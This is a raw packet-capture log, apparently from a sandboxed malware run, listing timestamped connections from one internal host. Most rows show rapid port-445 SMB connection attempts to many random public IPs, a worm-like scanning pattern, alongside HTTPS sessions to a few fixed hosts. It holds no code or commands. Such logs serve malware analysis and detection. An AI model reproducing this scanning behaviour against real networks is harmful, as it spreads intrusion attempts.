Jul 20, 2022 19:07:07.050148964 CEST	443	49969	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:07.050230980 CEST	443	49969	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:07.050345898 CEST	49969	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:07.050388098 CEST	49969	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:07.254733086 CEST	49969	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:07.254769087 CEST	443	49969	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:07.257113934 CEST	49971	445	192.168.2.7	192.138.74.104
Jul 20, 2022 19:07:07.553987026 CEST	49976	445	192.168.2.7	75.74.175.119
Jul 20, 2022 19:07:07.597282887 CEST	49978	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:07.597330093 CEST	443	49978	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:07.597426891 CEST	49978	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:07.664644003 CEST	49980	445	192.168.2.7	131.4.212.159
Jul 20, 2022 19:07:07.664750099 CEST	49981	445	192.168.2.7	157.19.241.98
Jul 20, 2022 19:07:07.664800882 CEST	49982	445	192.168.2.7	124.87.111.28
Jul 20, 2022 19:07:07.681598902 CEST	49983	445	192.168.2.7	64.125.62.15
Jul 20, 2022 19:07:07.685734987 CEST	49978	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:07.685787916 CEST	443	49978	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:07.710923910 CEST	49984	445	192.168.2.7	54.32.57.73
Jul 20, 2022 19:07:07.741905928 CEST	443	49978	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:07.742073059 CEST	49978	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:07.782083988 CEST	49986	445	192.168.2.7	85.39.152.241
Jul 20, 2022 19:07:07.846154928 CEST	49978	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:07.846184969 CEST	443	49978	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:08.039156914 CEST	49990	445	192.168.2.7	191.46.134.69
Jul 20, 2022 19:07:08.052655935 CEST	49978	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:08.052731037 CEST	443	49978	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:08.070444107 CEST	443	49978	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:08.070498943 CEST	443	49978	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:08.070591927 CEST	443	49978	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:08.070593119 CEST	49978	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:08.070626974 CEST	49978	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:08.070672989 CEST	49978	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:08.148286104 CEST	49992	445	192.168.2.7	219.193.103.19
Jul 20, 2022 19:07:08.384664059 CEST	49994	445	192.168.2.7	195.84.186.226
Jul 20, 2022 19:07:08.497483015 CEST	49978	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:08.497524023 CEST	443	49978	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:08.680352926 CEST	49999	445	192.168.2.7	169.0.50.26
Jul 20, 2022 19:07:08.796824932 CEST	50001	445	192.168.2.7	203.123.242.29
Jul 20, 2022 19:07:08.797076941 CEST	50003	445	192.168.2.7	139.204.37.108
Jul 20, 2022 19:07:08.797137022 CEST	50002	445	192.168.2.7	98.55.127.2
Jul 20, 2022 19:07:08.805227041 CEST	50004	445	192.168.2.7	194.44.52.141
Jul 20, 2022 19:07:08.835589886 CEST	50005	445	192.168.2.7	221.198.247.7
Jul 20, 2022 19:07:08.899063110 CEST	50007	445	192.168.2.7	167.177.131.115
Jul 20, 2022 19:07:09.050515890 CEST	50011	445	192.168.2.7	69.22.7.89
Jul 20, 2022 19:07:09.163669109 CEST	50013	445	192.168.2.7	117.17.34.67
Jul 20, 2022 19:07:09.273020029 CEST	50014	445	192.168.2.7	146.200.192.53
Jul 20, 2022 19:07:09.491668940 CEST	50017	445	192.168.2.7	163.10.81.247
Jul 20, 2022 19:07:09.799413919 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.799463987 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.799563885 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.801882982 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.801918983 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.804871082 CEST	50023	445	192.168.2.7	216.16.67.142
Jul 20, 2022 19:07:09.855232954 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.855370998 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.876055956 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.876101017 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.878022909 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.878041029 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.888160944 CEST	50025	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.888232946 CEST	443	50025	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.888333082 CEST	50025	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.889722109 CEST	50025	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.889743090 CEST	443	50025	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.896872044 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.896941900 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.896987915 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.896996975 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.897030115 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.897057056 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.897078991 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.897120953 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.912630081 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.912919998 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.912976027 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.913072109 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.913753986 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.913857937 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.913881063 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.913922071 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.913954020 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.913975000 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.915069103 CEST	50026	445	192.168.2.7	182.223.171.61
Jul 20, 2022 19:07:09.915623903 CEST	50027	445	192.168.2.7	144.79.120.165
Jul 20, 2022 19:07:09.916143894 CEST	50028	445	192.168.2.7	128.172.93.79
Jul 20, 2022 19:07:09.929763079 CEST	50030	445	192.168.2.7	105.31.230.117
Jul 20, 2022 19:07:09.935518026 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.935574055 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.935692072 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.936111927 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.936132908 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.942848921 CEST	443	50025	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.943027973 CEST	50025	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.943624973 CEST	50025	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.943645000 CEST	443	50025	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.947408915 CEST	50025	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.947427988 CEST	443	50025	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.960743904 CEST	50032	445	192.168.2.7	30.3.173.22
Jul 20, 2022 19:07:09.976953983 CEST	443	50025	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.977009058 CEST	443	50025	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.977099895 CEST	50025	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.977123022 CEST	443	50025	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.977125883 CEST	50025	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.977220058 CEST	50025	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:09.988652945 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:09.988750935 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.018322945 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.018346071 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:10.021044016 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.021065950 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:10.037744999 CEST	50034	445	192.168.2.7	143.233.87.99
Jul 20, 2022 19:07:10.046405077 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:10.046468019 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:10.046514988 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.046535969 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:10.046550989 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.046607971 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.046622038 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:10.046673059 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.046721935 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:10.046777010 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.165016890 CEST	50037	445	192.168.2.7	133.195.188.32
Jul 20, 2022 19:07:10.238599062 CEST	50022	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.238640070 CEST	443	50022	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:10.290368080 CEST	50038	445	192.168.2.7	7.126.157.189
Jul 20, 2022 19:07:10.398196936 CEST	50039	445	192.168.2.7	6.135.84.232
Jul 20, 2022 19:07:10.441370010 CEST	50025	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.441425085 CEST	443	50025	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:10.624376059 CEST	50043	445	192.168.2.7	45.44.238.170
Jul 20, 2022 19:07:10.856975079 CEST	50031	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:10.857007980 CEST	443	50031	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:10.925384045 CEST	50046	445	192.168.2.7	166.51.252.59
Jul 20, 2022 19:07:11.039700985 CEST	50050	445	192.168.2.7	56.185.129.154
Jul 20, 2022 19:07:11.040239096 CEST	50051	445	192.168.2.7	49.145.152.32
Jul 20, 2022 19:07:11.040539026 CEST	50049	445	192.168.2.7	29.115.59.167
Jul 20, 2022 19:07:11.055345058 CEST	50052	445	192.168.2.7	131.13.67.168
Jul 20, 2022 19:07:11.066931009 CEST	50053	445	192.168.2.7	147.130.100.1
Jul 20, 2022 19:07:11.092979908 CEST	50055	445	192.168.2.7	19.98.23.0
Jul 20, 2022 19:07:11.148219109 CEST	50057	445	192.168.2.7	198.125.188.84
Jul 20, 2022 19:07:11.295656919 CEST	50059	445	192.168.2.7	108.158.195.146
Jul 20, 2022 19:07:11.424537897 CEST	50061	445	192.168.2.7	139.193.227.137
Jul 20, 2022 19:07:11.544264078 CEST	50063	445	192.168.2.7	86.49.207.194
Jul 20, 2022 19:07:11.785444975 CEST	50067	445	192.168.2.7	79.248.70.142
Jul 20, 2022 19:07:12.039215088 CEST	50070	445	192.168.2.7	55.1.57.232
Jul 20, 2022 19:07:12.212793112 CEST	50072	445	192.168.2.7	111.45.76.89
Jul 20, 2022 19:07:12.212862968 CEST	50073	445	192.168.2.7	59.137.57.183
Jul 20, 2022 19:07:12.212959051 CEST	50074	445	192.168.2.7	91.253.127.73
Jul 20, 2022 19:07:12.213040113 CEST	50075	445	192.168.2.7	198.245.154.77
Jul 20, 2022 19:07:12.213175058 CEST	50076	445	192.168.2.7	6.242.198.210
Jul 20, 2022 19:07:12.235585928 CEST	50078	445	192.168.2.7	33.187.58.86
Jul 20, 2022 19:07:12.431476116 CEST	50080	445	192.168.2.7	85.169.161.7
Jul 20, 2022 19:07:12.435867071 CEST	50081	445	192.168.2.7	218.131.72.213
Jul 20, 2022 19:07:12.548408985 CEST	50084	445	192.168.2.7	181.86.133.12
Jul 20, 2022 19:07:12.668155909 CEST	50086	445	192.168.2.7	110.81.234.86
Jul 20, 2022 19:07:12.898492098 CEST	50091	445	192.168.2.7	92.115.143.57
Jul 20, 2022 19:07:13.074214935 CEST	50093	445	192.168.2.7	215.116.186.57
Jul 20, 2022 19:07:13.164383888 CEST	50095	445	192.168.2.7	102.207.165.111
Jul 20, 2022 19:07:13.336090088 CEST	50097	445	192.168.2.7	52.203.137.144
Jul 20, 2022 19:07:13.337163925 CEST	50099	445	192.168.2.7	24.90.5.54
Jul 20, 2022 19:07:13.337181091 CEST	50098	445	192.168.2.7	16.241.72.76
Jul 20, 2022 19:07:13.337296009 CEST	50100	445	192.168.2.7	59.238.25.171
Jul 20, 2022 19:07:13.338606119 CEST	50101	445	192.168.2.7	49.94.118.222
Jul 20, 2022 19:07:13.351788998 CEST	50102	445	192.168.2.7	74.253.51.194
Jul 20, 2022 19:07:13.555777073 CEST	50105	445	192.168.2.7	39.194.168.2
Jul 20, 2022 19:07:13.556216955 CEST	50106	445	192.168.2.7	217.20.93.171
Jul 20, 2022 19:07:13.665107012 CEST	50109	445	192.168.2.7	202.217.5.251
Jul 20, 2022 19:07:13.789030075 CEST	50112	445	192.168.2.7	73.155.61.92
Jul 20, 2022 19:07:14.095489979 CEST	50115	445	192.168.2.7	157.74.157.181
Jul 20, 2022 19:07:14.243072987 CEST	50116	445	192.168.2.7	66.45.10.216
Jul 20, 2022 19:07:14.453619957 CEST	50118	445	192.168.2.7	103.204.236.128
Jul 20, 2022 19:07:14.790168047 CEST	50120	445	192.168.2.7	5.30.244.226
Jul 20, 2022 19:07:14.790882111 CEST	50121	445	192.168.2.7	116.34.13.232
Jul 20, 2022 19:07:14.791424990 CEST	50122	445	192.168.2.7	201.124.120.84
Jul 20, 2022 19:07:14.792062998 CEST	50123	445	192.168.2.7	28.137.28.10
Jul 20, 2022 19:07:14.792593002 CEST	50124	445	192.168.2.7	113.30.55.195
Jul 20, 2022 19:07:14.793133020 CEST	50125	445	192.168.2.7	1.244.164.206
Jul 20, 2022 19:07:14.793782949 CEST	50126	445	192.168.2.7	147.84.85.241
Jul 20, 2022 19:07:14.794331074 CEST	50127	445	192.168.2.7	186.132.61.17
Jul 20, 2022 19:07:14.910062075 CEST	50129	445	192.168.2.7	57.211.214.173
Jul 20, 2022 19:07:14.919368029 CEST	50130	445	192.168.2.7	38.73.243.20
Jul 20, 2022 19:07:15.130007029 CEST	50134	445	192.168.2.7	72.140.244.222
Jul 20, 2022 19:07:15.211379051 CEST	50136	445	192.168.2.7	37.46.186.15
Jul 20, 2022 19:07:15.861820936 CEST	50138	445	192.168.2.7	43.184.44.150
Jul 20, 2022 19:07:15.945408106 CEST	50140	445	192.168.2.7	96.233.37.174
Jul 20, 2022 19:07:16.018160105 CEST	50142	445	192.168.2.7	188.77.231.76
Jul 20, 2022 19:07:16.020850897 CEST	49724	443	192.168.2.7	20.190.160.132
Jul 20, 2022 19:07:16.032836914 CEST	50143	445	192.168.2.7	153.59.179.150
Jul 20, 2022 19:07:16.032912970 CEST	50144	445	192.168.2.7	152.136.22.177
Jul 20, 2022 19:07:16.032988071 CEST	50145	445	192.168.2.7	50.191.154.59
Jul 20, 2022 19:07:16.033071995 CEST	50146	445	192.168.2.7	186.45.227.45
Jul 20, 2022 19:07:16.033149004 CEST	50147	445	192.168.2.7	42.111.80.63
Jul 20, 2022 19:07:16.033236980 CEST	50148	445	192.168.2.7	68.16.189.254
Jul 20, 2022 19:07:16.033318043 CEST	50149	445	192.168.2.7	3.155.136.234
Jul 20, 2022 19:07:16.050559044 CEST	50150	445	192.168.2.7	44.70.185.29
Jul 20, 2022 19:07:16.050652027 CEST	50151	445	192.168.2.7	68.21.44.27
Jul 20, 2022 19:07:16.144229889 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:16.144299030 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:16.144412041 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:16.156107903 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:16.156156063 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:16.242882967 CEST	50156	445	192.168.2.7	54.157.165.246
Jul 20, 2022 19:07:16.266354084 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:16.266449928 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:16.267322063 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:16.267417908 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:16.291410923 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:16.291445017 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:16.291800022 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:16.292531013 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:16.292584896 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:16.292646885 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:16.429512978 CEST	50158	445	192.168.2.7	120.109.164.55
Jul 20, 2022 19:07:16.454551935 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:16.454607010 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:16.454720020 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:16.454751015 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:16.454803944 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.720344067 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.720395088 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:17.720413923 CEST	50154	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.720428944 CEST	443	50154	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:17.724381924 CEST	50161	445	192.168.2.7	17.84.103.222
Jul 20, 2022 19:07:17.816950083 CEST	50162	445	192.168.2.7	172.188.224.68
Jul 20, 2022 19:07:17.819048882 CEST	50163	445	192.168.2.7	44.171.217.216
Jul 20, 2022 19:07:17.819596052 CEST	50164	445	192.168.2.7	50.147.99.116
Jul 20, 2022 19:07:17.826178074 CEST	50165	445	192.168.2.7	79.85.20.12
Jul 20, 2022 19:07:17.826965094 CEST	50166	445	192.168.2.7	52.138.195.126
Jul 20, 2022 19:07:17.827061892 CEST	50167	445	192.168.2.7	62.166.185.61
Jul 20, 2022 19:07:17.827132940 CEST	50168	445	192.168.2.7	26.249.224.87
Jul 20, 2022 19:07:17.827265978 CEST	50170	445	192.168.2.7	49.28.70.172
Jul 20, 2022 19:07:17.827274084 CEST	50169	445	192.168.2.7	73.133.65.240
Jul 20, 2022 19:07:17.827341080 CEST	50171	445	192.168.2.7	57.208.202.70
Jul 20, 2022 19:07:17.827406883 CEST	50172	445	192.168.2.7	68.207.11.240
Jul 20, 2022 19:07:17.827483892 CEST	50173	445	192.168.2.7	171.66.112.32
Jul 20, 2022 19:07:17.827570915 CEST	50174	445	192.168.2.7	62.173.164.66
Jul 20, 2022 19:07:17.827645063 CEST	50175	445	192.168.2.7	199.94.12.242
Jul 20, 2022 19:07:17.874216080 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.874274015 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:17.874398947 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.875603914 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.875627041 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:17.945837975 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.945892096 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:17.945992947 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.946502924 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.946526051 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:17.964631081 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:17.971251965 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.971281052 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:17.972201109 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.972218990 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:17.972273111 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:17.972290039 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.037895918 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.038042068 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.040072918 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.040154934 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.059012890 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.059046984 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.059550047 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.060235977 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.060312033 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.060415030 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.121612072 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.121660948 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.121710062 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.121769905 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.121798992 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.121814966 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.121870041 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.121922970 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.127392054 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.127429962 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.127445936 CEST	50177	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.127458096 CEST	443	50177	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.209260941 CEST	50184	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.209306002 CEST	443	50184	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.209434032 CEST	50184	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.209481955 CEST	50185	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.209512949 CEST	443	50185	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.209594011 CEST	50183	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.209691048 CEST	443	50183	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.209755898 CEST	50185	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.209801912 CEST	50183	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.210025072 CEST	50183	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.210064888 CEST	50184	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.210067034 CEST	443	50183	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.210082054 CEST	443	50184	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.210359097 CEST	50186	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.210388899 CEST	443	50186	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.210534096 CEST	50186	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.210563898 CEST	50187	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.210588932 CEST	443	50187	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.210598946 CEST	50185	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.210613012 CEST	443	50185	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.210647106 CEST	50187	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.210884094 CEST	50187	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.210896969 CEST	443	50187	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.210910082 CEST	50186	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.210947037 CEST	443	50186	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.217363119 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.217386007 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.217436075 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.217542887 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.217899084 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.217942953 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.217964888 CEST	50178	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.217982054 CEST	443	50178	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.303297043 CEST	443	50184	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.303961992 CEST	50184	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.303983927 CEST	443	50184	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.305105925 CEST	50184	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.305119991 CEST	443	50184	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.305150986 CEST	50184	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.305166006 CEST	443	50184	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.307017088 CEST	443	50183	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.307698011 CEST	50183	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.307727098 CEST	443	50183	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.307780027 CEST	443	50187	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.307832956 CEST	443	50186	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.308227062 CEST	50187	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.308243990 CEST	443	50187	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.308954954 CEST	50183	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.308973074 CEST	443	50183	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.309041977 CEST	50187	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.309042931 CEST	50183	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.309051037 CEST	443	50187	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.309068918 CEST	443	50183	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.309079885 CEST	50187	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.309086084 CEST	443	50187	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.309102058 CEST	50187	443	192.168.2.7	40.126.32.67
Jul 20, 2022 19:07:18.309108019 CEST	443	50187	40.126.32.67	192.168.2.7
Jul 20, 2022 19:07:18.309458971 CEST	50186	443	192.168.2.7	40.126.32.67
